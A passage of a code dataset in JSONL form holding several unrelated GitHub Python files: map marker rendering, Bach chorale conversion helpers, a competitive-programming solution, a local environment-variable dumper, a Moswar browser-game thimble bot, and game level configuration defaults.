renderer: SvgRenderer\n        \"\"\"\n        x, y = renderer.transformer().ll2pixel(self.latlng())\n        r = self.size()\n        dx = math.sin(math.pi / 3.0)\n        dy = math.cos(math.pi / 3.0)\n        path = renderer.drawing().path(\n            fill=self.color().hex_rgb(),\n            stroke=self.color().text_color().hex_rgb(),\n            stroke_width=1,\n            opacity=self.color().float_a(),\n        )\n        path.push(f\"M {x} {y}\")\n        path.push(f\" l {- dx * r} {- 2 * r + dy * r}\")\n        path.push(f\" a {r} {r} 0 1 1 {2 * r * dx} 0\")\n        path.push(\"Z\")\n        renderer.group().add(path)\n\n    def render_cairo(self, renderer: CairoRenderer) -> None:\n        \"\"\"Render marker using cairo\n\n        :param renderer: cairo renderer\n        :type renderer: CairoRenderer\n        \"\"\"\n        x, y = renderer.transformer().ll2pixel(self.latlng())\n        r = self.size()\n        dx = math.sin(math.pi / 3.0)\n        dy = math.cos(math.pi / 3.0)\n\n        renderer.context().set_source_rgb(*self.color().text_color().float_rgb())\n        renderer.context().arc(x, y - 2 * r, r, 0, 2 * math.pi)\n        renderer.context().fill()\n        renderer.context().new_path()\n        renderer.context().line_to(x, y)\n        renderer.context().line_to(x - dx * r, y - 2 * r + dy * r)\n        renderer.context().line_to(x + dx * r, y - 2 * r + dy * r)\n        renderer.context().close_path()\n        renderer.context().fill()\n\n        renderer.context().set_source_rgb(*self.color().float_rgb())\n        renderer.context().arc(x, y - 2 * r, r - 1, 0, 2 * math.pi)\n        renderer.context().fill()\n        renderer.context().new_path()\n        renderer.context().line_to(x, y - 1)\n        renderer.context().line_to(x - dx * (r - 1), y - 2 * r + dy * (r - 1))\n        renderer.context().line_to(x + dx * (r - 1), y - 2 * r + dy * (r - 1))\n        renderer.context().close_path()\n        renderer.context().fill()\n","repo_name":"flopp/py-staticmaps","sub_path":"staticmaps/marker.py","file_name":"marker.py","file_ext":"py","file_size_in_byte":4568,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"16"}
+{"seq_id":"19417407418","text":"# move to another file? chorale_dataset.py?\nimport sys\nsys.path[0] += '/../'\nimport numpy as np\nimport music21\nfrom transformer_bach.DatasetManager.helpers import SLUR_SYMBOL, standard_name\n\n\ndef _has_one_part(stream):\n    \"\"\"\n    Arguments\n        stream: music21.stream.Stream\n\n    returns True if input has only one part.\n    \"\"\"\n    return stream.hasPartLikeStreams() == False or len(stream.parts) == 1\n\n\ndef single_part_to_hold_representation(part):\n    \"\"\"\n    Arguments\n        part: music21.stream.Stream – must contain only one line/part/voice\n\n    returns a list that represents the part in hold representation, with notes \n    \"\"\"\n    assert _has_one_part(part)\n    hold_representation = []\n    part = part.flat.notesAndRests\n    for note in part:\n        hold_representation.append(standard_name(note))\n        num_holds = int(note.duration.quarterLength / 0.25 - 1.0)\n        hold_representation.extend([SLUR_SYMBOL] * num_holds)\n\n    return hold_representation\n\ndef single_part_to_midi_tick_representation(part):\n    \"\"\"\n    Arguments\n        part: music21.stream.Stream – must contain only one line/part/voice\n\n    returns a list that represents the part in midi numbers at every sixteenth tick that it is sounding\n    \"\"\"\n    assert _has_one_part(part)\n    midi_tick_representation = []\n    part = part.flat.notesAndRests\n    for note_or_rest in part:\n        symbol = note_or_rest.pitch.midi if isinstance(note_or_rest, music21.note.Note) else 'rest'\n        midi_tick_representation.extend([symbol] * int(note_or_rest.duration.quarterLength / 0.25))\n    \n    return midi_tick_representation\n\n\ndef score_to_hold_representation_for_voice(score, voice=0):\n    \"\"\"\n    Arguments\n        score: music21.stream.Score – probably a Bach chorale.\n        voice: which voice index to convert to hold representation; soprano by default.\n\n    returns a list that represents the specified part given by the voice index in hold representation\n    \"\"\"\n    return single_part_to_hold_representation(score.parts[voice])\n\ndef score_to_midi_tick_representation_for_voice(score, voice=0):\n    \"\"\"\n    Arguments\n        score: music21.stream.Score – probably a Bach chorale.\n        voice: which voice index to convert to hold representation; soprano by default.\n\n    returns a list that represents the specified part given by the voice index in midi tick representation\n    \"\"\"\n    return single_part_to_midi_tick_representation(score.parts[voice])\n\n\ndef score_to_hold_representation(score):\n    \"\"\"\n    Arguments\n        score: music21.stream.Score – probably a Bach chorale.\n    \n    returns a 2-D, first axis represents which voice (0 is soprano), second axis has hold representation\n    \"\"\"\n    full_hold_score = []\n\n    for i in range(4):\n        full_hold_score.append(score_to_hold_representation_for_voice(score, voice=i))\n    \n    return full_hold_score\n\ndef score_to_midi_tick_representation(score):\n    \"\"\"\n    Arguments\n        score: music21.stream.Score – probably a four-part chorale.\n\n    returns a 2-D list, first axis represents which tick, second axis represents which voice (0 is soprano).\n    \"\"\"\n    full_score = []\n\n    for i in range(4):\n        full_score.append(score_to_midi_tick_representation_for_voice(score, voice=i))\n    np_score = np.array(full_score)\n\n    return np_score.T.tolist()","repo_name":"toufic0710/constraint-transformer-bach","sub_path":"transformer_bach/constraint_helpers.py","file_name":"constraint_helpers.py","file_ext":"py","file_size_in_byte":3331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"40014110649","text":"n, m = map(int, input().split())\r\nmod = (10 ** 9) + 7\r\n\r\narr = [int(input()) for i in range(0, m)]\r\ndp = [0] * (n + 1)\r\ndp[0] = 1\r\n\r\ndef solve():\r\n  ok = [True] * (n+1)\r\n  for i in range(0, m):\r\n    ok[arr[i]] = False\r\n\r\n  for step in range(1, n+1):\r\n    if ok[step] == False:\r\n      dp[step] = 0\r\n    else:\r\n      if step == 1:\r\n        dp[step] = 1\r\n      else:\r\n        dp[step] = dp[step-1] + dp[step-2]\r\n\r\n  print(dp[n] % mod)\r\n\r\ndef main():\r\n  solve()\r\n\r\nif __name__ == \"__main__\":\r\n  main()","repo_name":"koralle/Python","sub_path":"ABC/abc129/abc129c.py","file_name":"abc129c.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16259546391","text":"import os\nfrom pprint import pprint\nimport json\nimport sys\n\ndef get_all():\n    # Get All Environments\n    env = os.environ\n    dict = {}\n    for e in env:\n        dict.update({e: env[e].split(';')})\n    return dict\n\n\ndef write(path):\n    print(\"Write to \" + path)\n    with open(path, \"w\") as write_file:\n        json.dump(get_all(), write_file, indent=4, sort_keys=True)\n\n\nif __name__ == \"__main__\":\n    path = \"C:/env.json\"\n    if sys.argv:\n        if \".json\" in sys.argv[-1]:\n            path = sys.argv[-1]\n    write(path)\n","repo_name":"alexcubor/Itsalive","sub_path":"utilities/enviroment.py","file_name":"enviroment.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4584838787","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = 'ipetrash'\n\n\nimport random\nimport time\nfrom PySide.QtCore import QObject, QTimer, Signal, QEventLoop\nfrom common import get_logger, MoswarBotError, MoswarClosedError\n\n\nlogger = get_logger('thimblerig')\n\n\nclass Thimblerig(QObject):\n    \"\"\"Класс для игры в наперстки в мосваре.\"\"\"\n\n    def __init__(self, mw):\n        super().__init__()\n\n        self._mw = mw\n\n        # Таймер для отсчета раундов игры\n        self._timer_round_thimble = QTimer()\n        self._timer_round_thimble.setInterval(1000)\n        self._timer_round_thimble.setSingleShot(True)\n        self._timer_round_thimble.timeout.connect(self.nine_thimble)\n\n        # Таймер для выбора наперстков\n        self._timer_thimble = QTimer()\n        self._timer_thimble.setInterval(1000)\n        self._timer_thimble.timeout.connect(self.select_thimbles)\n\n        # Варианты порядка открытия наперстков\n        self._variants = [\n            # С первого по третий ряд\n            [0, 1, 2],\n            [3, 4, 5],\n            [6, 7, 8],\n\n            # Диагонально\n            [0, 4, 8],\n            [6, 4, 2],\n        ]\n\n        # Номера наперстков, которые будет открывать бот\n        self._thimble1, self._thimble2, self._thimble3 = 0, 0, 0\n\n        self._ruda_count = 0\n        self._thimble_round_count = 0\n\n        # Сумма ниже которой играть не будем\n        self.min_money = 3000\n\n    finished_thimble_game = Signal()\n\n    def _get_ruda_count(self):\n        return self._ruda_count\n\n    def _get_thimble_round_count(self):\n        return self._thimble_round_count\n\n    ruda_count = property(_get_ruda_count)\n\n    thimble_round_count = property(_get_thimble_round_count)\n\n    def run(self):\n        \"\"\"Игра в наперстки.\"\"\"\n\n        try:\n            # Если в текущий бот в текущий момент занят и это не игра в Наперстки\n            if self._mw._used and 'thimble' not in self._mw.current_url():\n                logger.warn('Бот в данный момент занят процессом \"%s\". Выхожу из функции.', self._mw._used_process)\n                return\n\n            self._mw._used_process = \"Игра в Наперстки\"\n            logger.debug('Выполняю задание \"%s\".', self._mw._used_process)\n\n            self._mw.metro()\n\n            if 'metro' in self._mw.current_url():\n                # TODO: временное решение проблемы с закончившимися билетами, лучше через окно сделать\n                holders = self._mw.doc.findFirst('.metro-thimble .holders')\n                holders = holders.toPlainText().replace('Встреч с Моней на сегодня: ', '')\n                if int(holders) == 0:\n                    logger.warn('Закончились билеты для игры в Наперстки.')\n                    # TODO: добавить is_ready\n                    # TODO: is_ready указывает на следующий день\n                    return\n\n            self._mw._used = True\n\n            t = time.clock()\n\n            if 'thimble' in self._mw.current_url():\n                logger.info('Игра в Наперстки уже была начала, продолжу играть.')\n            else:\n                # Эмулируем клик на кнопку \"Начать играть\"\n                self._mw.click_tag('.metro-thimble .button .c')\n\n            # # TODO: не работает, т.к. окно не сразу появляется\n            # for el in self._mw.doc.findAll('.alert'):\n            #     text = el.findFirst('#alert-text')\n            #\n            #     print(el, text.toPlainText())\n            #     if not text.isNull() and 'Вы сегодня уже играли в наперстки с Моней Шацом' in text.toPlainText():\n            #         # TODO: добавить is_ready\n            #         # TODO: is_ready указывает на следующий день\n            #         logger.warn('Закончились билеты для игры в наперстки.')\n            #         self._mw._used = False\n            #         return\n\n            self._ruda_count = 0\n            self._thimble_round_count = 0\n\n            self._timer_round_thimble.start()\n\n            # Ждем пока закончится игра\n            loop = QEventLoop()\n            self.finished_thimble_game.connect(loop.quit)\n            loop.exec_()\n\n            logger.debug('Длительность игры {:.1f} секунд'.format(time.clock() - t))\n            logger.debug('Игра в наперстки закончилась за {} раундов'.format(self._thimble_round_count))\n            logger.debug('Угадано {} руды. Потрачено {} тугриков.'.format(self._ruda_count,\n                                                                          self._thimble_round_count * 1500))\n            logger.debug('Удача {:.2f}%'.format(self._ruda_count / (self._thimble_round_count * 3) * 100))\n\n            # Эмулируем клик на кнопку \"Я наигрался, хватит\"\n            self._mw.go('thimble/leave')\n\n        except MoswarClosedError:\n            raise\n\n        except Exception as e:\n            raise MoswarBotError(e)\n\n        finally:\n            self._mw._used = False\n\n    def nine_thimble(self):\n        \"\"\"Функция для начала игры в девять наперстков.\"\"\"\n\n        if self._mw.money() < self.min_money:\n            self._timer_thimble.stop()\n            logger.debug(\"Заканчиваю игру.\")\n            self.finished_thimble_game.emit()\n            return\n\n        self._thimble_round_count += 1\n\n        # Выбираем кнопку для игры в 9 наперстков\n        css_path = \"#thimble-controls-buttons div[data-count='9']\"\n        self._mw.click_tag(css_path)\n\n        # Выбираем случайный ряд наперстков\n        numbers_thimble = random.choice(self._variants)\n\n        # Порядок кликания на наперстки. Если True, то справа на лево\n        right_to_left = random.choice([True, False])\n\n        if right_to_left:\n            numbers_thimble.sort(reverse=True)\n\n        self._thimble1, self._thimble2, self._thimble3 = [\"#thimble{}\".format(i) for i in numbers_thimble]\n        logger.info('Порядок открытия наперстков: {}, {}, {}'.format(self._thimble1, self._thimble2, self._thimble3))\n\n        self._timer_thimble.start()\n\n    def _check_click_thimble(self, css_path):\n        \"\"\"Функция, вернет True, если на Наперсток уже кликали.\"\"\"\n\n        tag = self._mw.doc.findFirst(css_path)\n        attr = tag.attribute('class')\n\n        # Проверяем, что на наперсток кликнули\n        check = 'guessed' in attr or 'empty' in attr\n\n        logger.info('Проверяем наперсток \"%s\". Атрибут элемента: \"%s\". -> \"%s\".', css_path, attr, check)\n        return check\n\n    def select_thimbles(self):\n        \"\"\"Функция для клика на наперстки.\"\"\"\n\n        doc = self._mw.doc\n\n        # Количество оставшихся попыток. Для девяти наперсток их максимум будет 3\n        left = doc.findFirst('#naperstki-left').toInnerXml()\n\n        # Если количество попыток равно 0, то останавливаем таймер клика на наперстки\n        if left == '0':\n            self._timer_thimble.stop()\n\n            # Получаем количество угаданной за раунд руды\n            ruda = doc.findFirst('#naperstki-ruda').toPlainText()\n            self._ruda_count += int(ruda)\n            logger.info(\"Раунд {}. Угадано {} руды.\".format(self._thimble_round_count, ruda))\n\n            # Запускаем следующий раунд\n            self._timer_round_thimble.start()\n            return\n\n        # Проверяем, что на наперсток не кликали и кликаем\n        if not self._check_click_thimble(self._thimble1):\n            self._mw.click_tag(self._thimble1)\n        elif not self._check_click_thimble(self._thimble2):\n            self._mw.click_tag(self._thimble2)\n        elif not self._check_click_thimble(self._thimble3):\n            self._mw.click_tag(self._thimble3)\n","repo_name":"gil9red/moswar_bot","sub_path":"thimblerig.py","file_name":"thimblerig.py","file_ext":"py","file_size_in_byte":8843,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38797060503","text":"from Be2Definitions import *\n\ntColor = 1\n\nD = 0\ndef DI ():\n\tglobal D\n\tD += 1\n\treturn D\n\n#------------------------------------------------------------------------------\n\ndef newLevelConfig (**kargs):\n\tconfig = {\n\t\t'kind': 0,\n\t    \n\t\t'kLevelFlagLevelUpdate': True,\n\t\t'kLevelFlagScriptUpdate': False,\n\t\t'kLevelFlagShowHUD': True,\n\t    'kLevelFlagDoNotStartBackgroundMusic': False,\n\t    \n\t    'index': 0,\n\t\t'name': '',\n\t\t'title': '',\n\t\t'description': '',\n\t\t'leaderboard': '',\n\t\t'leaderboardFree': '',\n\t    'nextLevelName': '',\n\t\t\n\t\t'difficulty': 0,\n\t\t'availableTime': 0,\n\t\t'minimumScore': 0,\n\t\t'firstScreen': 'firstScreen',\n\t    \n\t\t'joystickAccelerationFactor': 0.8,\n\t\t\n\t\t'minSpeedX': 2,\n\t\t'minSpeedY': 2,\n\t\t'maxSpeedX': 200,\n\t\t'maxSpeedY': 200,\n\t    \n\t\t'accelerationInputX': DEFAULT_ACCELERATION_INPUT_X,\n\t\t'accelerationInputY': DEFAULT_ACCELERATION_INPUT_Y,\n\t\t'accelerationViscosityX': DEFAULT_ACCELERATION_VISCOSITY_X,\n\t\t'accelerationViscosityY': DEFAULT_ACCELERATION_VISCOSITY_Y,\n\t\t'accelerationFactorX': DEFAULT_ACCELERATION_FACTOR_X,\n\t\t'accelerationFactorY': DEFAULT_ACCELERATION_FACTOR_Y,\n\t\t'accelerationMinX': DEFAULT_ACCELERATION_MIN_X,\n\t\t'accelerationMinY': DEFAULT_ACCELERATION_MIN_Y,\n\t\t'accelerationMaxX': DEFAULT_ACCELERATION_MAX_X,\n\t\t'accelerationMaxY': DEFAULT_ACCELERATION_MAX_Y,\n\t    \n\t\t'gravityX': 0,\n\t\t'gravityY': 0,\n\t\t'friction': 0,\n\t\t\n\t    'screenShowDuration': 0.2,\n\t\n\t    'borderSideTopColor': DEFAULT_SCREEN_BORDER_COLOR,\n\t    'borderSideBottomColor': DEFAULT_SCREEN_BORDER_COLOR,\n\t    'borderSideLeftColor': DEFAULT_SCREEN_BORDER_COLOR,\n\t    'borderSideRightColor': DEFAULT_SCREEN_BORDER_COLOR,\n\t\n\t    'lightGridOpacity': 0,\n\t    'lightGridOpacityDuration': 0.3,\n\t    \n\t    'heroWidth': HERO_DEFAULT_WIDTH,\n\t    'heroHeight': HERO_DEFAULT_HEIGHT,\n\t    'heroStartColor': \"255,255,255\",\n\t    'heroStartPositionX': 50,\n\t    'heroStartPositionY': DEFAULT_SCREEN_HEIGHT/2 - HERO_DEFAULT_HEIGHT/2,\n\t    'heroStartAccelerationX': 0,\n\t    'heroStartAccelerationY': 0,\n\t    'heroStartSpeedX': 100,\n\t    'heroStartSpeedY': 0,\n\t    'heroStartLightEnabled': 0,\n\n\t    'turboSecondsAvailable': 0,\n\t    'turboFactor': 0,\n\t    \n\t\t'audioBackgroundMusic': '',\n\t    'audioInSound': '',\n\t    'audioOutSound': '',\n\t    'audioSideTopSound': '',\n\t    'audioSideBottomSound': '',\n\t    'audioSideLeftSound': '',\n\t    'audioSideRightSound': '',\n\t    \n\t    'scorePerSecondLeft': SCORE_PER_SECOND_LEFT,\n\t    'explorationPoints': 0,\n\t\n\t\t'paddles': [],\n\t\t'screens': [\n\t\t    newScreenConfig (0, 0, DEFAULT_SCREEN_WIDTH, DEFAULT_SCREEN_HEIGHT, name='firstScreen'),\n\t        ],\n\t\t'scripts': '',\n\t\t'extensions': '',\n\t}\n\tconfig.update (kargs)\n\n\treturn config\n\nD = 0\nLEVEL_PROPERTIES_TYPES = {\n    'name': (str, DI()),\n    'index': (str, DI()),\n    'title': (str, DI()),\n    'description': (str, DI()),\n    'leaderboard': (str, DI()),\n    'leaderboardFree': (str, DI()),\n    'kind' : (int, DI()),\n    'nextLevelName': (str, DI()),\n    \n    'kLevelFlagLevelUpdate': (bool, DI()),\n    'kLevelFlagScriptUpdate': (bool, DI()),\n    'kLevelFlagShowHUD': (bool, DI()),\n    'kLevelFlagDoNotStartBackgroundMusic': (bool, DI()),\n  \n    'difficulty': (int, DI()),\n    'availableTime': (float, DI()),\n    'minimumScore': (int, DI()),\n    'firstScreen': (str, DI()),\n  \n    'scorePerSecondLeft': (int, DI()),\n\t'explorationPoints': (int, DI()),\n\n\t'joystickAccelerationFactor': (float, DI()),\n\t\n    'minSpeedX': (float, DI()),\n    'minSpeedY': (float, DI()),\n    'maxSpeedX': (float, DI()),\n    'maxSpeedY': (float, DI()),\n    \n    'accelerationInputX': (bool, DI()),\n    'accelerationInputY': (bool, DI()),\n    'accelerationViscosityX': (float, DI()),\n    'accelerationViscosityY': (float, DI()),\n    'accelerationFactorX': (float, DI()),\n    'accelerationFactorY': (float, DI()),\n    'accelerationMinX': (float, DI()),\n    'accelerationMinY': (float, DI()),\n    'accelerationMaxX': (float, DI()),\n    'accelerationMaxY': (float, DI()),\n    \n\t'gravityX': (float, DI()),\n\t'gravityY': (float, DI()),\n\t'friction': (float, DI()),\n\t\n    'screenShowDuration': (float, DI()),\n    'borderSideTopColor': (tColor, DI()),\n    'borderSideBottomColor': (tColor, DI()),\n    'borderSideLeftColor': (tColor, DI()),\n    'borderSideRightColor': (tColor, DI()),\n    \n    'lightGridOpacity': (int, DI()),\n    'lightGridOpacityDuration': (float, DI()),\n\n    'heroWidth': (float, DI()),\n    'heroHeight': (float, DI()),\n    'heroStartColor': (tColor, DI()),\n    'heroStartPositionX': (float, DI()),\n    'heroStartPositionY': (float, DI()),\n    'heroStartAccelerationX': (float, DI()),\n    'heroStartAccelerationY': (float, DI()),\n    'heroStartSpeedX': (float, DI()),\n    'heroStartSpeedY': (float, DI()),\n    'heroStartLightEnabled': (bool, DI()),\n\n    'turboSecondsAvailable': (float, DI()),\n    'turboFactor': (float, DI()),\n\n    'audioBackgroundMusic': (str, DI()),\n    'audioInSound': (str, DI()),\n    'audioOutSound': (str, DI()),\n    'audioSideTopSound': (str, DI()),\n    'audioSideBottomSound': (str, DI()),\n    'audioSideLeftSound': (str, DI()),\n    'audioSideRightSound': (str, DI()),\n\n    'paddles': None,\n    'screens': None,\n    'scripts': None,\n    'extensions': None,\n}\n\n#------------------------------------------------------------------------------\n\nSCREEN_UPDATE_FIELDS = (\n    'kScreenFlagLeftSideClosed',\n    'kScreenFlagRightSideClosed',\n    'kScreenFlagTopSideClosed',\n    'kScreenFlagBottomSideClosed',\n    'name',\n    'title',\n    'description',\n    'positionX',\n    'positionY',\n    'width',\n    'height',\n    'borderSizeTop',\n    'borderSizeBottom',\n    'borderSizeLeft',\n    'borderSizeRight',\n    'borderSideTopColor',\n    'borderSideBottomColor',\n    'borderSideLeftColor',\n    'borderSideRightColor',\n    'colorMode',\n    'colorOpacity',\n    'colorColor1',\n)\n\ndef newScreenConfig (x, y, width, height, **kargs):\n\tconfig = {\n\t\t'kind': 0,\n\n\t    'kScreenFlagLeftSideClosed': False,\n\t\t'kScreenFlagRightSideClosed': False,\n\t\t'kScreenFlagTopSideClosed': False,\n\t\t'kScreenFlagBottomSideClosed': False,\n\t    'kScreenFlagScriptUpdate': False,\n\t    'kScreenFlagScriptOnEnter': False,\n\t    'kScreenFlagScriptOnExit': False,\n\t    \n\t\t'name': '',\n\t\t'title': 'New Screen',\n\t\t'titleColor': DEFAULT_SCREEN_TITLE_COLOR,\n\t\t'description': 'This is a new screen',\n\t    'descriptionColor': DEFAULT_SCREEN_DESCRIPTION_COLOR,\n\t\t'messageColor': DEFAULT_SCREEN_MESSAGE_COLOR,\n\t\t'messageOpacity': DEFAULT_SCREEN_MESSAGE_OPACITY,\n\t    'messageEnabled': 0,\n\t    \n\t\t'difficulty': 0,\n\t    \n\t\t'positionX': x,\n\t\t'positionY': y,\n\t\t'width': width,\n\t\t'height': height,\n\t    \n\t    'scorePerBorderHit': SCORE_PER_BORDER_HIT,\n\t    \n\t\t'minSpeedX': 0,\n\t\t'minSpeedY': 0,\n\t\t'maxSpeedX': 0,\n\t\t'maxSpeedY': 0,\n\t    \n\t\t'accelerationInputX': 0,\n\t\t'accelerationInputY': 0,\n\t\t'accelerationViscosityX': 0,\n\t\t'accelerationViscosityY': 0,\n\t\t'accelerationFactorX': 0,\n\t\t'accelerationFactorY': 0,\n\t\t'accelerationMinX': 0,\n\t\t'accelerationMinY': 0,\n\t\t'accelerationMaxX': 0,\n\t\t'accelerationMaxY': 0,\n\t    \n\t\t'gravityX': 0,\n\t\t'gravityY': 0,\n\t\t'friction': 0,\n\t\t\n\t\t'availableTime': 0,\n\t    \n\t\t'borderSizeTop': DEFAULT_BORDER_SIZE,\n\t\t'borderSizeBottom': DEFAULT_BORDER_SIZE,\n\t\t'borderSizeLeft': DEFAULT_BORDER_SIZE,\n\t\t'borderSizeRight': DEFAULT_BORDER_SIZE,\n\n\t    'borderSideTopColor': \"\",\n\t    'borderSideBottomColor': \"\",\n\t    'borderSideLeftColor': \"\",\n\t    'borderSideRightColor': \"\",\n\t    \n\t\t'colorMode': 0,\n\t\t'colorOpacity': 255,\n\t\t'colorColor1': '0,100,0',\n\t\t'colorColor2': '0,0,0',\n\t\t'colorTintToDuration': 0,\n\t    \n\t    'lightGridOpacity': -1,\n\t    'lightGridOpacityDuration': 0.3,\n\t    \n\t\t'audioBackgroundMusic': '',\n\t    'audioInSound': '',\n\t    'audioOutSound': '',\n\t    'audioSoundLoop': '',\n\t    'audioSideTopSound': '',\n\t    'audioSideBottomSound': '',\n\t    'audioSideLeftSound': '',\n\t    'audioSideRightSound': '',\n\n\t\t'isCheckpoint': False,\n\t    'heroStartPositionX': 0,\n\t    'heroStartPositionY': 0,\n\t    'heroStartSpeedX': 0,\n\t    'heroStartSpeedY': 0,\n\t\n\t    'lights': [],\n\t\t'scripts': '',\n\t\t'extensions': '',\n\t\t'paddles': [],\n\t}\n\tfor i in range (MAX_BG_IMAGES):\n\t\tconfig['bgImage%d' % i] = ''\n\t\tconfig['bgImage%dPositionX' % i] = 0\n\t\tconfig['bgImage%dPositionY' % i] = 0\n\t\tconfig['bgImage%dOpacity' % i] = BG_IMAGE_OPACITY\n\t\tconfig['bgImage%dShowDuration' % i] = BG_IMAGE_SHOW_DURATION\n\tconfig.update (kargs)\n\treturn config\n\nD = 0\nSCREEN_PROPERTIES_TYPES = {\n    'name': (str, DI()),\n    'title': (str, DI()),\n    'titleColor': (tColor, DI()),\n    'description': (str, DI()),\n    'descriptionColor': (tColor, DI()),\n    \n    'kind' : (int, DI()),\n    \n    'kScreenFlagTopSideClosed': (bool, DI()),\n    'kScreenFlagBottomSideClosed': (bool, DI()),\n    'kScreenFlagLeftSideClosed': (bool, DI()),\n    'kScreenFlagRightSideClosed': (bool, DI()),\n    'kScreenFlagScriptUpdate': (bool, DI()),\n    'kScreenFlagScriptOnEnter': (bool, DI()),\n    'kScreenFlagScriptOnExit': (bool, DI()),\n\n    'difficulty': (int, DI()),\n    'positionX': (float, DI()),\n    'positionY': (float, DI()),\n    'width': (float, DI()),\n    'height': (float, DI()),\n    \n    'availableTime': (float, DI()),\n    'scorePerBorderHit': (int, DI()),\n\n    'colorMode': (int, DI()),\n    'colorOpacity': (int, DI()),\n    'colorColor1': (tColor, DI()),\n    'colorColor2': (tColor, DI()),\n    'colorTintToDuration': (float, DI()),\n\n    'minSpeedX': (float, DI()),\n    'minSpeedY': (float, DI()),\n    'maxSpeedX': (float, DI()),\n    'maxSpeedY': (float, DI()),\n\n    'accelerationInputX': (bool, DI()),\n    'accelerationInputY': (bool, DI()),\n    'accelerationViscosityX': (float, DI()),\n    'accelerationViscosityY': (float, DI()),\n    'accelerationFactorX': (float, DI()),\n    'accelerationFactorY': (float, DI()),\n    'accelerationMinX': (float, DI()),\n    'accelerationMinY': (float, DI()),\n    'accelerationMaxX': (float, DI()),\n    'accelerationMaxY': (float, DI()),\n    \n\t'gravityX': (float, DI()),\n\t'gravityY': (float, DI()),\n\t'friction': (float, DI()),\n\t\n    'borderSizeTop': (int, DI()),\n    'borderSizeBottom': (int, DI()),\n    'borderSizeLeft': (int, DI()),\n    'borderSizeRight': (int, DI()),\n\n    'borderSideTopColor': (tColor, DI()),\n    'borderSideBottomColor': (tColor, DI()),\n    'borderSideLeftColor': (tColor, DI()),\n    'borderSideRightColor': (tColor, DI()),\n\n    'lightGridOpacity': (int, DI()),\n    'lightGridOpacityDuration': (float, DI()),\n \n    'messageColor': (tColor, DI()),\n    'messageOpacity': (int, DI()),\n    'messageEnabled': (bool, DI()),\n   \n    'audioBackgroundMusic': (str, DI()),\n    'audioInSound': (str, DI()),\n    'audioOutSound': (str, DI()),\n    'audioSoundLoop': (str, DI()),\n    'audioSideTopSound': (str, DI()),\n    'audioSideBottomSound': (str, DI()),\n    'audioSideLeftSound': (str, DI()),\n    'audioSideRightSound': (str, DI()),\n\n\t'isCheckpoint': (bool, DI()),\n    'heroStartPositionX': (float, DI()),\n    'heroStartPositionY': (float, DI()),\n    'heroStartSpeedX': (float, DI()),\n    'heroStartSpeedY': (float, DI()),\n\n\t'lights': None,\n    'paddles': None,\n    'scripts': None,\n    'extensions': None,\n}\nfor i in range (MAX_BG_IMAGES):\n\tSCREEN_PROPERTIES_TYPES['bgImage%d' % i] = (str, DI())\n\tSCREEN_PROPERTIES_TYPES['bgImage%dPositionX' % i] = (float, DI())\n\tSCREEN_PROPERTIES_TYPES['bgImage%dPositionY' % i] = (float, DI())\n\tSCREEN_PROPERTIES_TYPES['bgImage%dOpacity' % i] = (int, DI())\n\tSCREEN_PROPERTIES_TYPES['bgImage%dShowDuration' % i] = (float, DI())\n\n#------------------------------------------------------------------------------\n\ndef newPaddleConfig (x, y, width, height, **kargs):\n\tconfig = {\n\t\t'kind': 1,\n\t    \n\t\t'kPaddleFlagOffensiveSide': False,\n\t\t'kPaddleFlagCollisionDisabled': False,\n\t\t'kPaddleFlagBlockTouches': False,\n\t\t'kPaddleFlagScriptHandleTouches': False,\n\t\t'kPaddleFlagIsButton': False,\n\t\t'kPaddleFlagSelected': False,\n\t\t'kPaddleFlagEnabled': True,\n\t    'kPaddleFlagIsInvisible': False,\n\t    'kPaddleFlagScriptOnEnter': False,\n\t    'kPaddleFlagScriptOnExit': False,\n\t    'kPaddleFlagScriptApplyProximityInfluenceToHero': False,\n\t    'kPaddleFlagScriptOnSideToggled': False,\n\t    'kPaddleFlagScriptUpdate': False,\n\t    #'kPaddleFlagScriptUpdateAI': False,\n\t    'kPaddleFlagScriptOnHeroInProxymityArea': False,\n\t    'kPaddleFlagNoPositionLimit': False,\n\t    'kPaddleFlagIsGlobal': False,\n\t\n\t\t'name': '',\n\t\t'positionX': x,\n\t\t'positionY': y,\n\t\t'z': 0,\n\t\t'width': width,\n\t\t'height': height,\n\t    \n\t\t'speedX': 0,\n\t\t'speedY': 0,\n\t\t'minX': 0,\n\t\t'minY': 0,\n\t\t'maxX': 0,\n\t\t'maxY': 0,\n\t    \n\t\t'energy': 0,\n\t\t'elasticity':0,\n\t    \n\t    'scorePerHit': SCORE_PER_HIT,\n\t    \n\t\t'colorMode': 0,\n\t\t'colorOpacity': 255,\n\t\t'colorColor1': '255,255,255',\n\t\t'colorColor2': '0,0,0',\n\t\t'colorTintToDuration': 0,\n\t    \n\t    'textureName': '',\n\t    \n\t\t'proximityMode': 0,\n\t\t'proximityWidth': 0,\n\t\t'proximityHeight': 0,\n\t\t'proximityAccelerationX': 0,\n\t\t'proximityAccelerationY': 0,\n\t    \n\t\t'aiDefensiveKind': 'pong',\n\t\t'aiDefensiveConfig': '',\n\t\t'aiOffensiveKind': '',\n\t\t'aiOffensiveConfig': '',\n\t    \n\t\t'labelFont': DEFAULT_PADDLE_FONT,\n\t    'labelFontSize': DEFAULT_PADDLE_FONT_SIZE,\n\t    'labelColor': DEFAULT_PADDLE_FONT_COLOR,\n\t    'labelOpacity': DEFAULT_PADDLE_FONT_OPACITY,\n\t    'labelText': '',\n\n\t    'topImageName': \"\",\n\t    'topImagePositionX': 0.5,\n\t    'topImagePositionY': 0.5,\n\t    'topImageWidth': 0,\n\t    'topImageHeight': 0,\n\t    'topImageAnchorX': 0.5,\n\t    'topImageAnchorY': 0.5,\n\t    'topImageOpacity': 255,\n\t    'topImageRotation': 0,\n\n\t\t'audioInSound': '',\n\t\t'audioOutSound': '',\n\t    'audioSoundLoop': '',\n\t    'audioHitSound': '',\n\t\t'audioMoveSound': '',\n\t\t'audioMoveSoundTimeout': 1.0,\n\t\t'audioClickSound': '',\n\t    \n\t\t'scripts': 